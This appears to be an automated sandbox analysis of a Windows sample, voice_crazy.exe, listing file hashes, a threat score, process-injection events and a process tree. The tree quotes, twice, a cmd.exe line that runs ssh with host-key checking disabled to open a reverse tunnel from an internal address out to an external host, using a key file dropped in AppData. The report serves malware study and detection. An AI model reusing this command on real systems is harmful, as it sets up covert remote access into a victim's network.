71bb29dfc07190aeace9d750fcb2e9a66a8abebab3c6d2c40eb0b3ce93e4c36f

Analysis

Target
voice_crazy.exe
Size 17.3MB
Sample200624-eq4ndq8mae
SHA256 71bb29dfc07190aeace9d750fcb2e9a66a8abebab3c6d2c40eb0b3ce93e4c36f
MD5 0128395aaf2ca3b763eae2f9b8a669fe
SHA1 23a8a290ca8aa8dfb73c1fe7f919ad83dd4cb585
SHA512 d42b74880408babc18f36374be0e7f7e1fbf31f855e4f5e2d55108ec49e749c23eab4fc229d951b47114a453d97950f8d49a23a3c55a5615372995892ab5357b
MD5 SHA1 SHA512

Score

7^/10

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2920 wrote to memory of 3108	2920	voice_crazy.exe	67
PID 2920 wrote to memory of 3108	2920	voice_crazy.exe	67
PID 3108 wrote to memory of 3812	3108	voice_crazy.exe	68
PID 3108 wrote to memory of 3812	3108	voice_crazy.exe	68
PID 3108 wrote to memory of 3860	3108	voice_crazy.exe	69
PID 3108 wrote to memory of 3860	3108	voice_crazy.exe	69
PID 3812 wrote to memory of 3904	3812	voice_crazy.exe	71
PID 3812 wrote to memory of 3904	3812	voice_crazy.exe	71
PID 3904 wrote to memory of 4024	3904	voice_crazy.exe	72
PID 3904 wrote to memory of 4024	3904	voice_crazy.exe	72

Loads dropped DLL 26 IoCs

C:\Users\Admin\AppData\Local\Temp\voice_crazy.exe
"C:\Users\Admin\AppData\Local\Temp\voice_crazy.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2920
- C:\Users\Admin\AppData\Local\Temp\voice_crazy.exe
  "C:\Users\Admin\AppData\Local\Temp\voice_crazy.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  - Loads dropped DLL
  PID:3108
- - C:\Users\Admin\AppData\Local\Temp\voice_crazy.exe
    C:\Users\Admin\AppData\Local\Temp\voice_crazy.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3812
  - - C:\Users\Admin\AppData\Local\Temp\voice_crazy.exe
      C:\Users\Admin\AppData\Local\Temp\voice_crazy.exe
      4⤵
      Suspicious use of WriteProcessMemory
      Loads dropped DLL
      PID:3904
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "ssh -o "StrictHostKeyChecking=no" -R 21435:10.10.0.25:5000: -i C:\Users\Admin\AppData\Roaming\systemlog.pem [email protected]"
        5⤵
        
        PID:4024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ssh -o "StrictHostKeyChecking=no" -R 21435:10.10.0.25:5000: -i C:\Users\Admin\AppData\Roaming\systemlog.pem [email protected]"
    3⤵
    PID:3860